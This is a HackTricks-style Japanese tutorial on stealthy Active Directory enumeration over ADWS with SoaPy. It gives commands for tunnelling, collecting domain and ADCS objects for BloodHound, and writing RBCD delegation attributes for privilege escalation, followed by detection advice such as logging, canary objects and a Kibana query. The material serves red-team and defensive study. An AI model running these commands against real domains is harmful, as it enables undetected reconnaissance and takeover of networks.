107 lines
6.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Active Directory Web Services (ADWS) Enumeration & Stealth Collection
{{#include ../../banners/hacktricks-training.md}}
## ADWSとは
Active Directory Web Services (ADWS)は、**Windows Server 2008 R2以降のすべてのドメインコントローラーでデフォルトで有効**になっており、TCP **9389**でリッスンしています。名前に反して、**HTTPは関与していません**。代わりに、このサービスは独自の.NETフレーミングプロトコルのスタックを介してLDAPスタイルのデータを公開します
* MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
トラフィックはこれらのバイナリSOAPフレーム内にカプセル化され、一般的でないポートを通過するため、**ADWSを通じた列挙は、従来のLDAP/389および636トラフィックよりも検査、フィルタリング、または署名される可能性がはるかに低い**です。オペレーターにとって、これは意味します:
* ステルスな偵察 ブルーチームはしばしばLDAPクエリに集中します。
* **非WindowsホストLinux、macOS**から9389/TCPをSOCKSプロキシを通じてトンネリングする自由。
* LDAPを介して取得するのと同じデータユーザー、グループ、ACL、スキーマなどと、**書き込み**を行う能力(例:**RBCD**のための`msDs-AllowedToActOnBehalfOfOtherIdentity`)。
> ADWSは多くのRSAT GUI/PowerShellツールでも使用されているため、トラフィックは正当な管理者の活動と混在する可能性があります。
## SoaPy ネイティブPythonクライアント
[SoaPy](https://github.com/logangoins/soapy)は、**純粋なPythonでのADWSプロトコルスタックの完全な再実装**です。NBFX/NBFSE/NNS/NMFフレームをバイト単位で作成し、.NETランタイムに触れることなくUnix系システムからの収集を可能にします。
### 主な機能
* **SOCKSを介したプロキシ**をサポートC2インプラントから便利
* LDAPの`-q '(objectClass=user)'`と同じ細かい検索フィルター。
* オプションの**書き込み**操作(`--set` / `--delete`)。
* BloodHoundへの直接取り込みのための**BOFHound出力モード**。
* 人間の可読性が必要な場合にタイムスタンプや`userAccountControl`を整形するための`--parse`フラグ。
### インストール(オペレーターのホスト)
```bash
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
```
## ステルスADコレクションワークフロー
以下のワークフローは、ADWSを介して**ドメインおよびADCSオブジェクト**を列挙し、それらをBloodHound JSONに変換し、証明書ベースの攻撃経路を追跡する方法を示しています - すべてLinuxから:
1. **ターゲットネットワークからあなたのボックスへの9389/TCPトンネル**Chisel、Meterpreter、SSH動的ポートフォワードなど`export HTTPS_PROXY=socks5://127.0.0.1:1080`をエクスポートするか、SoaPyの`--proxyHost/--proxyPort`を使用します。
2. **ルートドメインオブジェクトを収集する:**
```bash
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
```
3. **Configuration NCからADCS関連オブジェクトを収集する:**
```bash
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
```
4. **BloodHoundに変換する:**
```bash
bofhound -i data --zip # produces BloodHound.zip
```
5. **ZIPをBloodHound GUIにアップロード**し、`MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c`のようなサイファークエリを実行して、証明書昇格パスESC1、ESC8などを明らかにします。
### `msDs-AllowedToActOnBehalfOfOtherIdentity` (RBCD)の記述
```bash
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
```
`s4u2proxy`/`Rubeus /getticket`を組み合わせて、完全な**リソースベースの制約付き委任**チェーンを作成します。
## 検出と強化
### 詳細なADDSログ記録
ドメインコントローラーで以下のレジストリキーを有効にして、ADWSおよびLDAPからの高コスト/非効率的な検索を明らかにします:
```powershell
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD
```
イベントは**Directory-Service**の下に表示され、完全なLDAPフィルターが適用されます。クエリがADWS経由で到着した場合でも同様です。
### SACLカナリアオブジェクト
1. ダミーオブジェクト(例:無効なユーザー`CanaryUser`)を作成します。
2. _Everyone_ プリンシパルに対して**Audit** ACEを追加し、**ReadProperty**で監査します。
3. 攻撃者が`(servicePrincipalName=*)``(objectClass=user)`などを実行するたびに、DCは**Event 4662**を発行し、実際のユーザーSIDを含みます。リクエストがプロキシされている場合やADWSから発信されている場合でも同様です。
Elasticの事前構築ルールの例
```kql
(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"
```
## ツール概要
| 目的 | ツール | ノート |
|------|-------|-------|
| ADWS列挙 | [SoaPy](https://github.com/logangoins/soapy) | Python, SOCKS, 読み書き |
| BloodHound取り込み | [BOFHound](https://github.com/bohops/BOFHound) | SoaPy/ldapsearchログを変換 |
| 証明書の妥協 | [Certipy](https://github.com/ly4k/Certipy) | 同じSOCKSを通じてプロキシ可能 |
## 参考文献
* [SpecterOps Make Sure to Use SOAP(y) An Operators Guide to Stealthy AD Collection Using ADWS](https://specterops.io/blog/2025/07/25/make-sure-to-use-soapy-an-operators-guide-to-stealthy-ad-collection-using-adws/)
* [SoaPy GitHub](https://github.com/logangoins/soapy)
* [BOFHound GitHub](https://github.com/bohops/BOFHound)
* [Microsoft MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF specifications](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nbfx/)
{{#include ../../banners/hacktricks-training.md}}